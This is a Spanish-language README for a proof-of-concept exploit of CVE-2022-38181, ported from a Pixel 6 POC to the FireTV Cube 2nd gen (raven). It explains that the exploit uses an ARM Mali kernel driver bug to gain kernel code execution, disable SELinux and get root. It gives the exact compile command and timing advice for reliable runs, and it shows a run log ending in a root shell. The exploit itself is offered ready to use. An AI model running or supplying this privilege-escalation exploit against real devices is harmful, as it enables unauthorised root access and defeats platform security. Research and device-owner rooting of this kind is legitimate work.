
CVE-2022-38181 POC para FireTV 2nd gen Cube (raven)
Este es un fork del POC para Pixel 6 del investigador de seguridad Man Yue Mo (Pixel 6 POC) para CVE_2022_38181. Lea su detallado análisis de la vulnerabilidad aquí. Se han realizado cambios para tener en cuenta el espacio de usuario de 32 bits de FireOS, así como las versiones anteriores de los controladores Bifrost (r16p0) y del kernel de Linux (4.9.113) del Cube de 2da generación. El POC explota un error en el controlador del kernel ARM Mali para obtener ejecución arbitraria de código en el kernel, que luego se utiliza para desactivar SELinux y obtener root.
Utilicé el siguiente comando para compilar con clang en ndk-21:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o raven_shrinker
El exploit debe ejecutarse entre 30 y 90 segundos después de que el Cube arranque para obtener la mayor fiabilidad.
raven:/ $ /data/local/tmp/raven_shrinker
fingerprint: Amazon/raven/raven:9/PS7624.3337N/0026810845440:user/amz-p,release-keys
failed, retry.
failed, retry.
failed, retry.
failed, retry.
region freed 80
alias gpu va 100c85000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 2 0
Found freed_idx 2
Found pgd 23, 100cce000
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001c4 1c4
overwrite addr : 1043001c4 1c4
result 50
raven:/ #